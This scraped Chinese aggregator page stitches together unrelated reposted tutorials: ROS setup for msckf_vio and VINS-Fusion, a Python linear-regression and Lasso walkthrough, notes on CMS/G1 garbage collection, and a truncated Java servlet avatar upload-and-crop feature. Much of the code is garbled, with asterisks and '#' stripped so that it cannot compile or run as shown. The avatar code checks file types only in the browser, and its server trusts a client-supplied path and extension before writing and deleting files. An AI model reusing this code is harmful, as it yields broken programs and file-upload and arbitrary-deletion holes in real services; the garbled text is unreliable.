82
素颜如水
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 s_msckf:采用多状态约束的双目vio系统 !!!注意imuCallback:接收IMU数据,将IMU数据存到imu_msg_buffer中,这里只会利用开头200帧IMU数据进行静止初始化,不做其他处理。featureCallback:接收双目特征,进行后端处理。利用IMU进行EKF Propagation,利用双目特征进行EKF Update。静止初始化(initializeGravityAndBias):将前200帧加速度和角速度求平均, 平均加速度的模值g作为重力加速度, 平均角速度作为陀螺仪的bias, 计算重力向量(0,0,-g)和平均加速度之间的夹角(旋转四元数), 标定初始时刻IMU系与world系之间的夹角. 因此MSCKF要求前200帧IMU是静止不动的 sudo apt-get install libsuitesparse-devcd ~/catkin_ws/srcgit clone KumarRobotics/msckf_viocd ..catkin_make --pkg msckf_vio --cmake-args -DCMAKE_BUILD_TYPE=Release激活环境变量很关键source /devel/setup.bashroslaunch msckf_vio msckf_vio_euroc.launch注意文件路径rosrun rviz rviz -d rviz/rviz_euroc_config.rviz (改成你自己的rviz文件)rosbag play ~/data/euroc/MH_04_difficult.bag(改成你自己的rosbag文件) 可以看到,s_msckf的输出是没有轨迹的,可以增加如下脚本,将/odom存为/path,在rviz订阅即可可视化轨迹 脚本来自其issue:https://github.com/KumarRobotics/msckf_vio/issues/13 !/usr/bin/env pythonimport rospyfrom nav_msgs.msg import Odometry, Pathfrom geometry_msgs.msg import PoseStampedclass OdomToPath:def __init__(self):self.path_pub = rospy.Publisher('/slz_path', Path, latch=True, queue_size=10)self.odom_sub = rospy.Subscriber('/firefly_sbx/vio/odom', Odometry, self.odom_cb, queue_size=10)self.path = Path()def odom_cb(self, msg):cur_pose = PoseStamped()cur_pose.header = msg.headercur_pose.pose = msg.pose.poseself.path.header = msg.headerself.path.poses.append(cur_pose)self.path_pub.publish(self.path)if __name__ == '__main__':rospy.init_node('odom_to_path')odom_to_path = OdomToPath()rospy.spin() 或者增加一个draw_path的功能包: cpp为: include <stdio.h>include <stdlib.h>include <unistd.h>include <ros/ros.h>include <ros/console.h>include <nav_msgs/Path.h>include <std_msgs/String.h>include <nav_msgs/Odometry.h>include <geometry_msgs/Quaternion.h>include <geometry_msgs/PoseStamped.h>nav_msgs::Path path;ros::Publisher path_pub;ros::Subscriber odomSub;ros::Subscriber odom_raw_Sub;void odomCallback(const nav_msgs::Odometry::ConstPtr& odom){geometry_msgs::PoseStamped this_pose_stamped;this_pose_stamped.header= odom->header;this_pose_stamped.pose = odom->pose.pose;//this_pose_stamped.pose.position.x = odom->pose.pose.position.x;//this_pose_stamped.pose.position.y = odom->pose.pose.position.y;//this_pose_stamped.pose.orientation = odom->pose.pose.orientation;//this_pose_stamped.header.stamp = ros::Time::now();//this_pose_stamped.header.frame_id = "world";//frame_id 是消息中与数据相关联的参考系id,例如在在激光数据中,frame_id对应激光数据采集的参考系 path.header= this_pose_stamped.header;path.poses.push_back(this_pose_stamped);//path.header.stamp = ros::Time::now();//path.header.frame_id= "world";path_pub.publish(path);//printf("path_pub ");//printf("odom %.3lf %.3lf\n",odom->pose.pose.position.x,odom->pose.pose.position.y);}int main (int argc, char argv){ros::init (argc, argv, "showpath");ros::NodeHandle ph;path_pub = ph.advertise<nav_msgs::Path>("/trajectory",10, true);odomSub = ph.subscribe<nav_msgs::Odometry>("/firefly_sbx/vio/odom", 10, odomCallback);//ros::Rate loop_rate(50);while (ros::ok()){ros::spinOnce(); // check for incoming messages//loop_rate.sleep();}return 0;} cmakelists.txt cmake_minimum_required(VERSION 2.8.3)project(draw) Compile as C++11, supported in ROS Kinetic and newer add_compile_options(-std=c++11) Find catkin macros and libraries if COMPONENTS list like find_package(catkin REQUIRED COMPONENTS xyz) is used, also find other catkin packagesfind_package(catkin REQUIRED COMPONENTSgeometry_msgsroscpprospystd_msgsmessage_generation)catkin_package( INCLUDE_DIRS include LIBRARIES learning_communicationCATKIN_DEPENDS geometry_msgs roscpp rospy std_msgs message_runtime DEPENDS system_lib) Build include_directories(include${catkin_INCLUDE_DIRS})add_executable(draw_path draw.cpp)target_link_libraries(draw_path ${catkin_LIBRARIES}) package.xml <?xml version="1.0"?><package><name>draw</name><version>0.0.0</version><description>The learning_communication package</description><!-- One maintainer tag required, multiple allowed, one person per tag --><!-- Example: --><!-- <maintainer email="jane.doe@example.com">Jane Doe</maintainer> --><maintainer email="hcx@todo.todo">hcx</maintainer><!-- One license tag required, multiple allowed, one license per tag --><!-- Commonly used license strings: --><!-- BSD, MIT, Boost Software License, GPLv2, GPLv3, LGPLv2.1, LGPLv3 --><license>TODO</license><!-- Url tags are optional, but multiple are allowed, one per tag --><!-- Optional attribute type can be: website, bugtracker, or repository --><!-- Example: --><!-- <url type="website">http://wiki.ros.org/learning_communication</url> --><!-- Author tags are optional, multiple are allowed, one per tag --><!-- Authors do not have to be maintainers, but could be --><!-- Example: --><!-- <author email="jane.doe@example.com">Jane Doe</author> --><!-- The _depend tags are used to specify dependencies --><!-- Dependencies can be catkin packages or system dependencies --><!-- Examples: --><!-- Use build_depend for packages you need at compile time: --><!-- <build_depend>message_generation</build_depend> --><!-- Use buildtool_depend for build tool packages: --><!-- <buildtool_depend>catkin</buildtool_depend> --><!-- Use run_depend for packages you need at runtime: --><!-- <run_depend>message_runtime</run_depend> --><!-- Use test_depend for packages you need only for testing: --><!-- <test_depend>gtest</test_depend> --><buildtool_depend>catkin</buildtool_depend><build_depend>geometry_msgs</build_depend><build_depend>roscpp</build_depend><build_depend>rospy</build_depend><build_depend>std_msgs</build_depend><run_depend>geometry_msgs</run_depend><run_depend>roscpp</run_depend><run_depend>rospy</run_depend><run_depend>std_msgs</run_depend><build_depend>message_generation</build_depend><run_depend>message_runtime</run_depend><!-- The export tag contains other, unspecified, tags --><export><!-- Other tools can request additional information be placed here --></export></package> vins_fusion: 双目vio等多系统 mkdir -p vins-catkin_ws/srccd vins-catkin_ws/srcgit clone https://github.com/HKUST-Aerial-Robotics/VINS-Fusion.gitcd ..catkin_makesource devel/setup.bash按照readme 3.1 Monocualr camera + IMUroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_mono_imu_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_mono_imu_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag 3.2 Stereo cameras + IMUroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_imu_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_imu_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag 3.3 Stereo camerasroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag<img src="https://github.com/HKUST-Aerial-Robotics/VINS-Fusion/blob/master/support_files/image/euroc.gif" width = 430 height = 240 /> 4. KITTI Example 4.1 KITTI Odometry (Stereo)Download [KITTI Odometry dataset](http://www.cvlibs.net/datasets/kitti/eval_odometry.php) to YOUR_DATASET_FOLDER. Take sequences 00 for example,Open two terminals, run vins and rviz respectively. (We evaluated odometry on KITTI benchmark without loop closure funtion)roslaunch vins vins_rviz.launch(optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yamlrosrun vins kitti_odom_test ~/catkin_ws/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yaml YOUR_DATASET_FOLDER/sequences/00/ 4.2 KITTI GPS Fusion (Stereo + GPS)Download [KITTI raw dataset](http://www.cvlibs.net/datasets/kitti/raw_data.php) to YOUR_DATASET_FOLDER. Take [2011_10_03_drive_0027_synced](https://s3.eu-central-1.amazonaws.com/avg-kitti/raw_data/2011_10_03_drive_0027/2011_10_03_drive_0027_sync.zip) for example.Open three terminals, run vins, global fusion and rviz respectively. Green path is VIO odometry; blue path is odometry under GPS global fusion.roslaunch vins vins_rviz.launchrosrun vins kitti_gps_test ~/catkin_ws/src/VINS-Fusion/config/kitti_raw/kitti_10_03_config.yaml YOUR_DATASET_FOLDER/2011_10_03_drive_0027_sync/ rosrun global_fusion global_fusion_node<img src="https://github.com/HKUST-Aerial-Robotics/VINS-Fusion/blob/master/support_files/image/kitti.gif" width = 430 height = 240 /> 5. VINS-Fusion on car demonstrationDownload [car bag](https://drive.google.com/open?id=10t9H1u8pMGDOI6Q2w2uezEq5Ib-Z8tLz) to YOUR_DATASET_FOLDER.Open four terminals, run vins odometry, visual loop closure(optional), rviz and play the bag file respectively. Green path is VIO odometry; red path is odometry under visual loop closure.roslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/vi_car/vi_car.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/vi_car/vi_car.yaml rosbag play YOUR_DATASET_FOLDER/car.bag 本篇文章为转载内容。原文链接:https://blog.csdn.net/slzlincent/article/details/104364909。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-13 20:38:56
310
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 目录 一、建模背景及目的及数据源说明 二、描述性分析 2.1 连续自变量与连续因变量的相关性分析 2.2 二分类变量与连续变量的相关性分析 2.3 多分类变量与连续变量的相关性分析 三、模型建立与诊断 3.1 一元线形回归及模型解读 3.2 残差可视化分析 3.3 多元线性回归 一、建模背景及目的及数据源说明 本案例数据来源于常国珍等人的《Python数据科学》一书第7章中的信用卡公司客户申请信息(年龄、收入、地区等信息)以及已有开卡客户的申请信息和信用卡消费信息数据,案例希望通过对该数据的分析和建模,根据已有的开卡用户的用户信息和消费来线形回归模型,来预测未开卡用户的消费潜力。数据下载见如下链https://download.csdn.net/download/baidu_26137595/85101874 数据读入及示例: raw = pd.read_csv('./data/creditcard_exp.csv', skipinitialspace = True)raw.head() 数据字段及说明: Acc: 是否开卡, 为0说明未开卡,对应的 avg_exp 为NaN;为1说明已开卡,对应avg_exp有值 avg_exp: 月均信用卡支出 avg_exp_ln:月均信用卡支出的对熟 gender : 性别 Ownrent: 是否自有住房 Selfempl: 是否自谋职业 Income:收入 dist_home_val: 所住小区均价 w dist_avg_income: 当地人均收入 age2: 年龄的平方 high_avg: 高出当地平均收入 edu_class:教育等级,0、1、2、3 依次是小学、初中、高中、大学 二、描述性分析 首先可筛选Acc为1的数据,分别以avg_exp为因变量,其余变量为自变量进行数据探索,主要是发现自变量和因变量是否有线形关系。 raw_1 = raw[raw['Acc'] == 1] 2.1 连续自变量与连续因变量的相关性分析 首先对连续变量和目标变量进行相关性分析,因变量avg_exp为连续变量,一般可以用相关系数来看其线形相关性。 cons_vasr = ['avg_exp', 'avg_exp_ln', 'Age', 'Income', 'dist_home_val', 'dist_avg_income', 'age2', 'high_avg']raw_1[cons_vasr].corr()vg']].corr() 结果如下,可以看到收入 Income 和当地人均收入 dist_avg_income这两个变量和avg_exp月均信用卡支出有较强的相关性,同时观察自变量间的相关性可发现人均收入 Income 和当地人均收入 dist_avg_income 之间也有较强的相关性,相关系数为0.99,说明接下来我们可以把这两个变量加入模型,但要注意可能会存在多重共线性。 2.2 二分类变量与连续变量的相关性分析 分类变量和连续变量之间的相关性可以用t检验进行,接下来以是否自有住房 Ownrent 变量 和 月均收入之间进行相关性检验。首先查看Ownrent 不同取值的数量以及avg_exp均值分布情况如何: pd.pivot_table(raw_1, values = ['avg_exp'], index = ['Ownrent'], aggfunc = {'avg_exp': ['count', np.mean]}) 接着分别对 Ownrent 为0、1的 avg_exp 进行t检验: import scipy.stats as st 引入scipy.stats进行t检验 创建变量Ownrent_0 = raw_1[raw_1['Ownrent'] == 0]['avg_exp'].valuesOwnrent_1 = raw_1[raw_1['Ownrent'] == 1]['avg_exp'].valuesst.ttest_ind(Ownrent_0, Ownrent_1, equal_var = True) p值为0.01 < 0.05,可以拒绝原假设,即认为是否自有住房和月均信用卡支出是相关的。 2.3 多分类变量与连续变量的相关性分析 多分类变量和连续变量之间的相关性检验可以用多次t检验进行,但较为繁琐,用方差分析进行快速检验相关性,然后再运用多重检验查看具体是哪些处理之间存在差异。以教育水平edu_class为例进行分析,同理首先查看分布 raw_1.pivot_table(index = 'edu_class', values = ['avg_exp'], aggfunc={'avg_exp': ['count', np.mean]}) 可以看到不同教育水平之间消费水平有明显差异,接下来通过方差分析进行检验差异是否明显。 from statsmodels.stats.anova import anova_lm 引入anova_lm进行方差分析from ststsmodels.stats.formula import ols 引入ols进行线性回归建模lm = ols('avg_exp~C(edu_class)', data = raw_1).fit() C(edu_class) 将数值型的变量指定为分类型anova_lm(lm, typ = 2) 可以看到不同教育水平之间的月均消费支出之间的差异是显著的,继续用多重检验来看哪些处理之间是显著的。 from statsmodels.stats.multicomp import MultiComparison 引入MultiComparison进行tukey多重检验mc = MultiComparison(raw_1['avg_exp'],raw_1['edu_class'])tukey_result = mc.tukeyhsd(alpha = 0.5)print(tukey_result) 结果是每个处理之间因变量差异的显著性,最后一列reject都为True说明各组之间均存在显著差异。 三、模型建立与诊断 3.1 一元线性回归及模型解读 以Income为自变量,以avg_exp为因变量建立一元线形回归并对模型结果进行解释 lm_1 = ols('avg_exp ~ Income', data = raw_1).fit()print(lm_1.summary()) 首先从第一部分可以看到R^2为0.454,整个模型的F检验p值小于0.05,说明模型通过显著性检验。 其次模型结果的第二块也表明自变量和截距也通过显著性检验。 最后一部分主要是对残差进行检验,左侧Omnibus、Prob(Omnibus)主要是对偏度Skew和峰度Kurtosis进行检验,正态分布的偏度为0,峰度为3,模型的Prob(Omnibus)值为0.156大于0.05,说明不能拒绝残差符合正态分布。 右侧Durbin-Watson主要是对残差的自相关性进行检(改检验可表示为,为残差之间的相关系数),Durbin-Watson的取值范围是0-4,越接近2说明残差不存在自相关性,越接近0说明存在正相关,越接近4说明存在负相关性。 右侧Jarque-Bera (JB)、Prob(JB)是对残差正态性检验,可以用来判断残差是否符合正态分布,本案例中Prob(JB)值为0.173 > 0.05,基不能拒绝残差服从正态分布。 右侧Cond. No.是多重共线性检验,该值越大,共线性越严重。 整体上看模型虽然拟合效果没那么好,但是显著性通过了检验。接下来看一下模型具体的系数,Income的系数为97.7说明模型收入越高信用卡消费越高,是符合业务预期的。 3.2 残差可视化分析 接下来对残差进一步进行可视化分析,主要看残差是否满足以下几个假定,并尝试通过对自变量、因变量进行调整来优化模型。首先来回顾一下残差需要满足的几个假定: a.残差的要服从均值为0,方差为的正态分布; b.残差之间要相互独立 c.残差和自变量没有相关性 (1)通过残差图进行模型优化 模型avg_exp ~ Income的自变量与残差分布图、残差qq图、模型拟合情况图即自变量与因变量及其预测值的图像 lm_1 = ols('avg_exp ~ Income', data = raw_1).fit() 建模raw_1['resid_1'] = lm_1.resid 模型残差raw_1['resid_1_rank'] = raw_1['resid_1'].rank(ascending = False, pct = True) 计算残差的百分位数raw_1['pred_1'] = lm_1.predict() 添加预测值plt.figure(figsize = (20, 6)) 自变量与残差分布图ax1 = plt.subplot(131)ax1.scatter('Income', 'resid', data = raw_1)ax1.set_title('Income & resid') 残差的qq图ax2 = plt.subplot(132)stats.probplot(raw_1['resid_1_rank'], dist = 'norm', plot = ax2) 模型拟合情况图,自变量与因变量以及模型预测值ax3 = plt.subplot(133)ax3.scatter('Income', 'avg_exp', data = raw_1)ax3.plot('Income', 'pred_1', data = raw_1, color = 'red')ax3.legend()ax3.text(12, 1920, 'pred func R^2: %.2f'% lm_1.rsquared)ax3.set_title('Income & avg_exp') 从第一个自变量和残差散点图可以看出,残差基本符合对称分布,但随着自变量增大,残差也在变大,存在方差不齐的情况。第二个图残差的qq图可以看出,残差近似正态分布。第三个图可以看模型的拟合效果并不是很好,R^2只有0.45。对avg_exp取对数,能够改善预测值越大残差越大的情况,但由于只对因变量取对数导致模型不好解释,对自变量Income同时取对数,代码和以上类似,只是改变因变量和自变量形式而已,以下是残差图,可以看到残差的异方差现象被有效的抑制,并且R^2也得到了提高。 (2)通过残差图发现强影响点 仔细观察以上图像结果,左下侧有两个较为异常的数据,对模型的拟和效果有较大的影响, 对于这种影响较大的可将其进行删除并重新建模: 计算学生化残差raw_1['resid_t'] = (raw_1['resid_2'] - raw_1['resid_2'].mean())/raw_1['resid_2'].std() raw_1[abs(raw_1['resid_t']) > 2] 将残差大于2的筛选出来 将强影响点删除后,得到的结果如下,模型结果更稳定。 3.3 多元线性回归 上一篇文章有说到多重共线性会对模型产生致命的影响,用方差膨胀因子来处理的话会非常繁琐。通过正则化处理如Lasso回归,能够产生某些严格等于0的系数,从而达到变量筛选的目的。接下来以Lasso为例,首先用LassoCV来找到最优的alpha。由于statsmodels中的ols的fit_regularized方法没有很好的实现,所以用sklearn中linear_model模块来进行建模 from sklearn.preprocessing import StandardScaler sklearn进行线性回归前必须要进行标准化from sklearn.linear_model import LassoCV Lasso的交叉验证方法con_xcols = ['Age', 'Income', 'dist_home_val', 'dist_avg_income']scaler = StandardScaler()X = scaler.fit_transform(raw_1[con_xcols])y = raw_1['avg_exp_ln']lasso_alphas = np.logspace(-3, 0, 100, base = 10)lcv = LassoCV(alphas = lasso_alphas, cv = 10)lcv.fit(X, y)print('best alpha %.4f' % lcv.alpha_)print('the r-square %.4f' % lcv.score(X, y)) 接下来画出不同alpha下的岭迹图,来看alpha值对系数的影响 from sklearn.linear_model import Lassocoefs = []lasso = Lasso()for i in lasso_alphas:lasso.set_params(alpha = i)lasso.fit(X, y)coefs.append(lasso.coef_)ax = plt.gca()ax.plot(lasso_alphas, coefs)ax.set_xscale('log')ax.set_xlabel('$\\alpha$')ax.set_ylabel('coefs value') 从图中可以看到随着alpha的增大,系数不断在减小,有些系数会优先收缩为0,再继续增大时所欲系数都会为0,通过该特性从而达到变量筛选的目的。将LassoCV得到的系数打印出来,可以看到用户月均信用卡支出和当地小区均价、当地人均收入成正比,当地人均收入水平的影响更大。 以上就是线形回归在应用时的注意事项。 本篇文章为转载内容。原文链接:https://blog.csdn.net/baidu_26137595/article/details/123766191。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-23 15:52:56
106
转载
转载文章
...垃圾收集器,主要用于服务端应用。其主要特点是大部分工作可以在应用线程并发执行,减少了系统暂停时间(Stop-The-World)。在CMS收集周期中,通过使用卡表(CardTable)等数据结构来跟踪对象引用变化,并采用多阶段算法实现对堆内存的并发标记、初始标记、重新标记和并发清除操作,旨在实现实时性要求较高的场景下高效稳定的垃圾回收。 G1 (Garbage First) 垃圾收集器 , G1是Oracle JDK 9及以后版本中的默认垃圾收集器,适用于大内存应用环境。G1将整个堆划分为多个大小相等的region,并引入Remembered Set(RSet)与CardTable结合,更精细化地追踪跨区域引用。G1设计目标是在保持低延迟的同时处理大规模堆内存,其垃圾回收过程包括并发标记、初始标记、最终标记、混合回收等阶段,并能预测停顿时间和自动进行堆压缩,提高了GC性能和资源利用率。 Remembered Set (RSet) , RSet是G1垃圾收集器中一种额外的数据结构,用于记录某个内存分区(Region)内部指向其他分区对象的引用信息。相较于传统的卡表仅记录是否存在跨分区引用,RSet更加详细地记录了具体指向哪些分区的引用,使得垃圾回收器在并发标记过程中能够快速准确地找到跨分区引用,进而显著提升回收效率和减少STW(Stop-The-World)停顿时间。
2023-12-16 20:37:50
246
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1,背景 博客停了好久,主要是最近工作太忙了,还有就是身体状况没有以前那么好了,乘着国庆长假的空档,写下这篇一直想写的文章。 运营平台是我主要致力的一个项目,这个项目分为四个大部分,个人中心,充值中心,客服中心,家长监护,最近主要忙着个人中心的重写和丰富,关于个人中心,无非就是对平台用户信息的自我管理,以及一些对用户帐号的安全保护措施,下图的菜单非常简要的说明了个人中心的功能。个人觉得最值得关注的就是密保设置和修改头像,因为之前没有处理过类似的问题,本文主要记录对头像的处理过程以及思考,希望给碰到类似问题的苦逼程序员一点借鉴。 个人中心整体功能一览 2,头像处理xmind 叽歪一句,个人碰到问题的时候,首先会分析问题,在分析问题的基础上,得到整体的解决方案,然后一步步分解步骤,去实现,首先奉上我的解决方案,也许不是最优的,但是按照个人的知识和技能水平,绝对是可以实现的。 修改头像mind 3,实现步骤 按照我的mind,首先是上传图片,先上效果图,然后给出实现的代码。首先是整体的结构图,做的比较丑,别喷哥··· 修改头像整体效果图 下面按照mind一步步实现, 首先:点击修改头像,弹出一个层, 第一步:弹出上传图片的层,上传图片到服务器 对实现细节不感冒的屌丝可以看看代码(结合哥的mind看可以事半功倍): 分层实现细节 Html结构层这个可以免了,一般都可以弄出来 Js连接层 首先是弹出一个上传图片的层,然后上传图片到服务器端。 $("editHead").bind("click", function () { showUploadDiv(); }); function showUploadDiv() { $("uploadMsg").empty(); $.fancybox({ type:'inline', width:400, href:'uploadUserHead' }); }//fancybox弹出层 上传的处理代码 Servlet服务端处理层(commonupload实现)服务器端处理代码 上传的处理代码 $(function () { $("uploadFrom").ajaxForm({ beforeSubmit:checkImg, error:function(data,status){ alert(status+' , '+data); $("uploadMsg").html('上传文件超过1M!'); }, success:function (data,status) { try{ var msg = $.parseJSON(data); if (msg.code == 200) { //如果成功提交 javascript:$.fancybox.close(); $("uploadUserHead").hide(); var data = msg.object; $("editImg").attr("src", data.path).show(); $("preview1").attr("src", data.path).show(); $(".zoom").show(); $("width").val(data.width); $("height").val(data.height); $("oldImgPath").val(data.realPath); $("imgFileExt").val(data.fileExt); var api, jcrop_api, boundx, boundy; $('editImg').Jcrop({ onChange:updatePreview, onSelect:updatePreview, aspectRatio:1, bgOpacity:0.5, bgColor:'white', addClass:'jcrop-light' }, function () { api = this; api.setSelect([130, 65, 130 + 350, 65 + 285]); api.setOptions({ bgFade:true }); api.ui.selection.addClass('jcrop-selection'); var bounds = this.getBounds(); boundx = bounds[0]; boundy = bounds[1]; jcrop_api = this; }); function updatePreview(c) { if (parseInt(c.w) > 0) { var rx = 80 / c.w; var ry = 80 / c.h; $('preview1').css({ width:Math.round(rx boundx) + 'px', height:Math.round(ry boundy) + 'px', marginLeft:'-' + Math.round(rx c.x) + 'px', marginTop:'-' + Math.round(ry c.y) + 'px' }); } jQuery('x').val(c.x); jQuery('y').val(c.y); jQuery('x2').val(c.x2); jQuery('y2').val(c.y2); jQuery('w').val(c.w); jQuery('h').val(c.h); } } if (msg.code == 204) { $("uploadMsg").html(msg.msg); } }catch (e){ $("uploadMsg").html('上传文件超过1M!'); } } }); }); //服务器端处理代码 String tempSavePath = ConfigurationUtils.get("user.resource.dir"); //上传的图片零时保存路径 String tempShowPath = ConfigurationUtils.get("user.resource.url"); //用户保存的头像路径 if(tempSavePath.equals("/img")) { tempSavePath=sc.getRealPath("/")+tempSavePath; } Msg msg = new Msg(); msg.setCode(204); msg.setMsg("上传头像失败!"); String type = request.getParameter("type"); if (!Strings.isNullOrEmpty(type) && type.equals("first")) { request.setCharacterEncoding("utf-8"); DiskFileItemFactory factory = new DiskFileItemFactory(); ServletFileUpload servletFileUpload = new ServletFileUpload(factory); try { List items = servletFileUpload.parseRequest(request); Iterator iterator = items.iterator(); while (iterator.hasNext()) { FileItem item = (FileItem) iterator.next(); if (!item.isFormField()) { { File tempFile = new File(item.getName()); File saveTemp = new File(tempSavePath+"/tempImg/"); String getItemName=tempFile.getName(); String fileName = UUID.randomUUID()+"." +getItemName.substring(getItemName.lastIndexOf(".") + 1, getItemName.length()); File saveDir = new File(tempSavePath+"/tempImg/", fileName); //如果目录不存在,创建。 if (saveTemp.exists() == false) { if (!saveTemp.mkdir()) { // 创建失败 saveTemp.getParentFile().mkdir(); saveTemp.mkdir(); } else { } } if (saveDir.exists()) { log.info("存在同名文件···"); saveDir.delete(); } item.write(saveDir); log.info("上传头像成功!"+saveDir.getName()); msg.setCode(200); msg.setMsg("上传头像成功!"); Image image = new Image(); BufferedImage bufferedImage = null; try { bufferedImage = ImageIO.read(saveDir); } catch (IOException e) { e.printStackTrace(); } image.setHeight(bufferedImage.getHeight()); image.setWidth(bufferedImage.getWidth()); image.setPath(tempShowPath+ "/tempImg/" + fileName); log.info(image.getPath()); image.setRealPath(tempSavePath+"/tempImg/"+ fileName); image.setFileExt(fileName.substring(fileName.lastIndexOf(".") + 1, fileName.length())); msg.setObject(image); } } else { log.info("" + item.getFieldName()); } } } catch (Exception ex) { log.error("上传用户头像图片异常!"); ex.printStackTrace(); } finally { AppHelper.returnJsonAjaxForm(response, msg); } } 上传成功后,可以看到照片和照片的预览效果。看图: 上传头像之后的效果 Friday, October 05, 2012 第二步:编辑和保存头像 选中图中的区域,保存头像,就完成头像的修改。 修改之后的效果入下: 修改之后的头像(因为传了一张动态图片,得到的跟上图有些不同) 实现细节: 首先用了一个js控件:Jcrop,有兴趣的屌丝可以去搜一下,然后,利用上传之后的图片和之前的选定区域,完成了一个截图,保存为用户的头像。 连接层的js: $("saveHead").bind("click", function () { var width = $("width").val(); var height = $("height").val(); var oldImgPath = $("oldImgPath").val(); var imgFileExt = $("imgFileExt").val(); var x = $('x').val(); var y = $('y').val(); var w = $('w').val(); var h = $('h').val(); $.ajax({ url:'/imgCrop', type:'post', data:{x:x, y:y, w:w, h:h, width:width, height:height, oldImgPath:oldImgPath, fileExt:imgFileExt}, datatype:'json', success:function (msg) { if (msg.code == 200) { $("avatar").attr("src", msg.object); forword('/nav', 'index'); } else { alert(msg.msg); } } }); }); function checkImg() { //限制上传文件的大小和后缀名 var filePath = $("input[name='uploadImg']").val(); if (!filePath) { $("uploadMsg").html("请选择上传文件!").show(); return false; } else { var extStart = filePath.lastIndexOf("."); var ext = filePath.substring(extStart, filePath.length).toUpperCase(); if (ext != ".PNG" && ext != ".GIF" && ext != ".JPG") { $("uploadMsg").html("图片限于png,gif,jpg格式!").show(); return false; } } return true; } 服务器端处理代码: String savePath = ConfigurationUtils.get("user.resource.dir"); //上传的图片保存路径 String showPath = ConfigurationUtils.get("user.resource.url"); //显示图片的路径 if(savePath.equals("/img")) { savePath=sc.getRealPath("/")+savePath; } int userId = AppHelper.getUserId(request); String userName=AppHelper.getUserName(request); Msg msg = new Msg(); msg.setCode(204); msg.setMsg("剪切图片失败!"); if (userId <= 0) { msg.setMsg("请先登录"); return; } // 用户经过剪辑后的图片的大小 Integer x = (int)Float.parseFloat(request.getParameter("x")); Integer y = (int)Float.parseFloat(request.getParameter("y")); Integer w = (int)Float.parseFloat(request.getParameter("w")); Integer h = (int)Float.parseFloat(request.getParameter("h")); //获取原显示图片路径 和大小 String oldImgPath = request.getParameter("oldImgPath"); Integer width = (int)Float.parseFloat(request.getParameter("width")); Integer height = (int)Float.parseFloat(request.getParameter("height")); //图片后缀 String imgFileExt = request.getParameter("fileExt"); String foldName="/"+ DateUtils.nowDatetoStrToMonth()+"/"; String imgName = foldName + UUID.randomUUID()+userName + "." + imgFileExt; //组装图片真实名称 String createImgPath = savePath + imgName; //进行剪切图片操作 ImageCut.abscut(oldImgPath,createImgPath, xwidth/300, yheight/300, wwidth/300, hheight/300); File f = new File(createImgPath); if (f.exists()) { msg.setObject(imgName); //把显示路径保存到用户信息下面。 UserService userService = userServiceProvider.get(); int rel = userService.updateUserAvatar(userId, showPath+imgName); if (rel >= 1) { msg.setCode(200); msg.setMsg("剪切图片成功!"); log.info("剪切图片成功!"); //记录日志,更新session log(showPath+imgName,userName); UserObject userObject= userService.getUserObject(userName); request.getSession().setAttribute("userObject", userObject); if (userObject != null && Strings.isNullOrEmpty(userObject.getHeadDir())) userObject.setHeadDir("/images/geren_right_01.jpg"); } else { msg.setCode(204); msg.setMsg("剪切图片失败!"); log.info("剪切图片失败!"); } } AppHelper.returnJson(response, msg); File file=new File(oldImgPath); boolean deleteFile= file.delete(); if(deleteFile==true) { log.info("删除原来图片成功"); } / 图像切割(改) @param srcImageFile 源图像地址 @param dirImageFile 新图像地址 @param x 目标切片起点x坐标 @param y 目标切片起点y坐标 @param destWidth 目标切片宽度 @param destHeight 目标切片高度 / public static void abscut(String srcImageFile, String dirImageFile, int x, int y, int destWidth, int destHeight) { try { Image img; ImageFilter cropFilter; // 读取源图像 BufferedImage bi = ImageIO.read(new File(srcImageFile)); int srcWidth = bi.getWidth(); // 源图宽度 int srcHeight = bi.getHeight(); // 源图高度 if (srcWidth >= destWidth && srcHeight >= destHeight) { Image image = bi.getScaledInstance(srcWidth, srcHeight, Image.SCALE_DEFAULT); // 改进的想法:是否可用多线程加快切割速度 // 四个参数分别为图像起点坐标和宽高 // 即: CropImageFilter(int x,int y,int width,int height) cropFilter = new CropImageFilter(x, y, destWidth, destHeight); img = Toolkit.getDefaultToolkit().createImage(new FilteredImageSource(image.getSource(), 